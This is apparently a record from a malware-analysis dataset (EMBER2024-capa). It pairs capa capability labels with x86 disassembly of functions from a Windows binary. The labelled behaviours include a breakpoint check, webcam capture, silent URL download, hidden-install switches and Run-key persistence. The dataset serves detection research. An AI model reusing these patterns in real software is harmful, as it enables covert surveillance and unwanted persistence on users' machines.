joyce8/EMBER2024-capa huggingface dataset:
Function at 0x441740
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x441773
push esi
call fcn.00444830
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x44176c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x4417f9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x4417e2
mov eax, dword [esi + 8]
test eax, eax
je 0x441797
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x4417de
cmp eax, 2
je 0x4417e2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x44178a
cmp eax, 3
je 0x4417bd
cmp eax, 1
jne 0x44178a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x44178a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x44178a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00441820
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x441808
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00441820
add esp, 4
pop esi
ret

Function at 0x44d340
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x44d3e3
test eax, eax
jbe 0x44d3e3
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x44d3e3
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x44d38e
xor esi, esi
jmp 0x44d394
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x44d3bf
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.00407a70
add esi, eax
push esi
mov ebx, esi
call fcn.00407a70
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x44d3a0
pop ebp
test edi, edi
pop edi
jne 0x44d3e3
test ebx, ebx
je 0x44d3e3
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.0045d270
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x44d525
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x44d63d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x44d63d
mov eax, dword [esi + 0x3c]
push eax
call fcn.0046e8f1
mov esi, eax
test esi, esi
je 0x44d63d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x44d63d
mov ecx, esi
call fcn.0044d490
cmp edi, eax
jge 0x44d63d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x44d5c3
mov dword [esp + 0x34], 1
jmp 0x44d61e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x44d63d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.0044ca80
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x46f295
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x46f2cd
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0046d34c
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0046d324
jmp 0x46f2d9
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x470987
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4709c9
call fcn.00476676
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4709c9
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4709c0
xor eax, eax
jmp 0x4709d1
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004709d7
pop edi
pop esi
pop ebx
ret 4
Function at 0x476ba6
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x476bd4
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x476bf2
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00476b0c
jmp 0x476bf2
mov eax, dword [esi + 0x14]
test eax, eax
je 0x476bf2
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00476b0c
test edi, edi
mov eax, edi
jne 0x476bdc
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x406a00
Capabilities:
Download url
Receive data

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push 0
push 0
push eax
push ecx
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jl 0x406a6c
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov eax, dword [esp + 4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406a44
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406a64
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
ret 8
mov eax, dword [esp + 4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406a8c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406aac
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
ret 8

Function at 0x40a070
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40a089
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x40a0c4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x40a0c0
lea ebx, [ebx]
cmp esi, eax
jae 0x40a0c4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x40a0b0
cmp esi, eax
jb 0x40a0ca
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x40a780
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, word [esp + 4]
mov dword [esp + 4], edx
jmp fcn.004211a8
Function at 0x40b420
Capabilities:
Enumerate gui resources

Disassembly:
push 0xffffffffffffffff
push 0x451ca8
mov eax, dword fs:[0]
push eax
sub esp, 0x58
mov eax, dword [0x469524]
xor eax, esp
mov dword [esp + 0x50], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x469524]
xor eax, esp
push eax
lea eax, [esp + 0x6c]
mov dword fs:[0], eax
mov eax, dword [str.update]
mov cx, word [0x45ae4c]
mov dl, byte [0x45ae4e]
mov ebp, dword [esp + 0x7c]
push 0x39
mov dword [esp + 0x28], eax
xor ebx, ebx
lea eax, [esp + 0x2f]
push ebx
push eax
mov word [esp + 0x34], cx
mov byte [esp + 0x36], dl
call fcn.0043de70
add esp, 0xc
push 0x40
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
cmp edi, ebx
je 0x40b4ae
push 0x40
lea ecx, [esp + 0x28]
push ecx
push edi
call fcn.004419e0
add esp, 0xc
mov eax, dword [0x46da00]
add eax, 0xfffffff0
push eax
mov dword [esp + 0x1c], 0x2711
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
call fcn.00409fe0
lea esi, [eax + 0x10]
add esp, 4
mov dword [esp + 0x14], esi
mov dword [esp + 0x74], ebx
mov ecx, dword [esi - 8]
mov eax, 1
sub eax, dword [esi - 4]
or ecx, eax
jge 0x40b4f7
push ebx
lea ecx, [esp + 0x18]
call fcn.0040a5c0
mov esi, dword [esp + 0x14]
call fcn.004182c0
push eax
push 0x418280
mov dword [0x46d6a0], ebx
call dword [sym.imp.USER32.dll_EnumWindows]
cmp eax, ebx
jne 0x40b51b
mov eax, dword [0x46d6a0]
cmp eax, ebx
jne 0x40b51d
xor eax, eax
mov ecx, dword [ebp + 0x20]
lea edx, [esp + 0x18]
push edx
push ecx
push 0x4a
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
cmp edi, ebx
je 0x40b542
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea eax, [esi - 0x10]
mov dword [esp + 0x74], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40b566
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x6c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x50]
xor ecx, esp
call fcn.0043a8ec
add esp, 0x64
ret 4
Function at 0x40c880
Capabilities:
Get common file path

Disassembly:
sub esp, 0x804
mov eax, dword [0x469524]
xor eax, esp
mov dword [esp + 0x800], eax
push esi
push 0x7ff
lea eax, [esp + 9]
push 0
push eax
mov esi, ecx
mov byte [esp + 0x10], 0
call fcn.0043de70
add esp, 0xc
push 0
push 0x1c
lea ecx, [esp + 0xc]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edx, [esp + 4]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea eax, [esp + 4]
push eax
push 0x45aab8
add esi, 8
push esi
call fcn.0040a6f0
mov ecx, dword [esp + 0x810]
add esp, 0xc
pop esi
xor ecx, esp
call fcn.0043a8ec
add esp, 0x804
ret

Function at 0x40c900
Capabilities:
Get common file path
Get program files directory

Disassembly:
sub esp, 0x804
mov eax, dword [0x469524]
xor eax, esp
mov dword [esp + 0x800], eax
push esi
push 0x7ff
lea eax, [esp + 9]
push 0
push eax
mov esi, ecx
mov byte [esp + 0x10], 0
call fcn.0043de70
add esp, 0xc
push 0
push 0x26
lea ecx, [esp + 0xc]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edx, [esp + 4]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea eax, [esp + 4]
push eax
push 0x45aab8
add esi, 0xc
push esi
call fcn.0040a6f0
mov ecx, dword [esp + 0x810]
add esp, 0xc
pop esi
xor ecx, esp
call fcn.0043a8ec
add esp, 0x804
ret

Function at 0x40cfd0
Capabilities:
Accept command line arguments

Disassembly:
push esi
push edi
mov edi, ecx
jmp 0x40cfdc
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x45b068
push eax
call fcn.0043bbf2
mov esi, eax
add esp, 8
test esi, esi
je 0x40d0c2
push ebx
mov ebx, 1
push esi
push str._install
call fcn.0043b4e8
add esp, 8
test eax, eax
jne 0x40d015
mov dword [edi + 0x14], ebx
push esi
push str._silent
call fcn.0043b4e8
add esp, 8
test eax, eax
jne 0x40d02a
mov dword [edi + 0x18], ebx
push esi
push str._delete
call fcn.0043b4e8
add esp, 8
test eax, eax
jne 0x40d03f
mov dword [edi + 0x1c], ebx
push esi
push str._uninstall
call fcn.0043b4e8
add esp, 8
test eax, eax
jne 0x40d054
mov dword [edi + 0x24], ebx
push esi
push str._hide
call fcn.0043b4e8
add esp, 8
test eax, eax
jne 0x40d069
mov dword [edi + 0x34], ebx
push esi
push str._update
call fcn.0043b4e8
add esp, 8
test eax, eax
jne 0x40d07e
mov dword [edi + 0x28], ebx
push esi
push str._pass
call fcn.0043b4e8
add esp, 8
test eax, eax
jne 0x40d093
mov dword [edi + 0x2c], ebx
push esi
push str._affinfo
call fcn.0043b4e8
add esp, 8
test eax, eax
jne 0x40d0a8
mov dword [edi + 0x20], ebx
push 0x45b068
push 0
call fcn.0043bbf2
mov esi, eax
add esp, 8
test esi, esi
jne 0x40d000
pop ebx
jmp 0x40d0ca
pop edi
pop esi
ret
Function at 0x40f520
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x452d73
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x469524]
xor eax, esp
mov dword [esp + 0x74], eax
push ebx
mov eax, dword [0x469524]
xor eax, esp
push eax
lea eax, [esp + 0x80]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [esp + 0x14], ebx
push str.Version
lea ecx, [esp + 0x10]
mov dword [esp + 0x14], ebx
call fcn.0040a430
push 0x45b160
lea ecx, [esp + 0xc]
mov dword [esp + 0x8c], ebx
call fcn.0040a430
lea eax, [esp + 0x10]
push eax
push str.SoftwareMicrosoftInternet_Explorer
mov byte [esp + 0x90], 1
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x20], 0x64
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x40f61c
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x1c]
push edx
push ebx
push ebx
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40f611
lea eax, [esp + 0x18]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40f5d0
sub eax, edx
push eax
lea edx, [esp + 0x1c]
push edx
lea ecx, [esp + 0x10]
call fcn.0040a300
push 1
push esi
lea ecx, [esp + 0x10]
call fcn.00407910
mov byte [esp + 0x88], bl
mov eax, dword [esp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jmp 0x40f643
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x45aafc
mov ecx, esi
call fcn.0040a430
mov byte [esp + 0x88], bl
mov eax, dword [esp + 8]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40f64f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x88], 0xffffffff
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40f67a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [esp + 0x80]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [esp + 0x74]
xor ecx, esp
call fcn.0043a8ec
add esp, 0x84
ret
Function at 0x410f00
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov eax, 0x1414
call fcn.00441190
mov eax, dword [0x469524]
xor eax, esp
mov dword [esp + 0x1410], eax
push ebx
push ebp
mov ebp, dword [esp + 0x1420]
push esi
push edi
mov edi, ecx
mov ecx, ebp
call fcn.0040a2a0
xor ebx, ebx
push 0x7ff
lea eax, [esp + 0xc25]
push ebx
push eax
mov byte [esp + 0xc2c], bl
call fcn.0043de70
push 0x7ff
lea ecx, [esp + 0x431]
push ebx
push ecx
mov byte [esp + 0x438], bl
call fcn.0043de70
lea esi, [esp + 0x28]
call fcn.0040f520
mov edx, dword [eax]
push str._r_nContent_type:_application_x_www_form_urlencoded_r_n
push edx
push str.Accept:_text__r_nUser_Agent:_Mozilla_4.0_khbae__Compatible_
lea eax, [esp + 0x444]
push str._s__s__s
push eax
call fcn.0043bc1f
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
add esp, 0x2c
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x410fad
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea esi, [esp + 0x10]
call fcn.0040f520
mov ecx, dword [eax]
push ecx
push str.Mozilla_4.0_khbae__compatible_
lea edx, [esp + 0xc28]
push str._s__s
push edx
call fcn.0043bc1f
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
add esp, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x410ff3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push ebx
push ebx
push ebx
push ebx
lea ecx, [esp + 0xc30]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [esp + 0x10], esi
cmp esi, ebx
je 0x4110ec
lea eax, [esp + 0x420]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x411020
push ebx
push SysReAllocStringLen
sub eax, edx
push eax
lea edx, [esp + 0x42c]
push edx
push edi
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
je 0x4110db
push 0x400
lea eax, [esp + 0x21]
push ebx
push eax
mov byte [esp + 0x28], bl
call fcn.0043de70
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
push 0x400
lea edx, [esp + 0x24]
push edx
push esi
call edi
mov ecx, dword [esp + 0x14]
cmp ecx, ebx
jbe 0x4110c0
cmp eax, ebx
je 0x4110c0
lea eax, [esp + 0x1c]
mov byte [esp + ecx + 0x1c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x411090
sub eax, edx
push eax
lea eax, [esp + 0x20]
push eax
mov ecx, ebp
call fcn.00408380
lea ecx, [esp + 0x14]
push ecx
push 0x400
lea edx, [esp + 0x24]
push edx
push esi
call edi
mov ecx, dword [esp + 0x14]
cmp ecx, ebx
ja 0x411081
push esi
mov edi, 1
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
jmp 0x4110ee
mov eax, dword [esp + 0x10]
push eax
mov edi, ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
jmp 0x4110ee
mov eax, ebx
mov ecx, dword [esp + 0x1420]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0043a8ec
add esp, 0x1414
ret
Function at 0x411150
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x451dd8
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
mov eax, dword [0x469524]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov dword [esp + 0x18], 1
call fcn.0042121c
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411196
push 0x80004005
call fcn.0040ad10
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 8], eax
lea ecx, [esp + 0x24]
push ecx
lea ecx, [esp + 0xc]
mov byte [esp + 0x1c], 2
call fcn.00409f40
lea edx, [esp + 0xc]
push edx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x411289
mov esi, dword [esp + 8]
mov eax, dword [esi - 0xc]
mov ecx, dword [esp + 0xc]
push eax
mov eax, dword [esp + 0x24]
push esi
push 1
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esi - 0x10]
mov byte [esp + 0x18], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411226
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x18], 0
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41124b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x18], 0xffffffff
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411273
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x14
ret
mov byte [esp + 0x18], 1
mov eax, dword [esp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4112ae
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x18], 0
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4112d3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x18], 0xffffffff
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4112fb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x14
ret
Function at 0x411310
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push 0xffffffffffffffff
push 0x451c78
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x469524]
xor eax, esp
push eax
lea eax, [esp + 8]
mov dword fs:[0], eax
lea eax, [esp + 4]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push SysReAllocStringLen
mov dword [esp + 0x24], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4113cf
mov edx, dword [esp + 0x18]
mov ecx, dword [edx - 8]
mov eax, 1
sub eax, dword [edx - 4]
or ecx, eax
jge 0x41137b
push 0
lea ecx, [esp + 0x1c]
call fcn.0040a5c0
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 4]
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x10], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4113ba
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
pop ecx
add esp, 0x10
ret
mov dword [esp + 0x10], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4113f7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
pop ecx
add esp, 0x10
ret

Function at 0x411410
Capabilities:
Delete registry key

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push 0xf003f
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x411445
mov eax, dword [esp + 0xc]
mov ecx, dword [esp]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411465
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411485
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
pop ecx
ret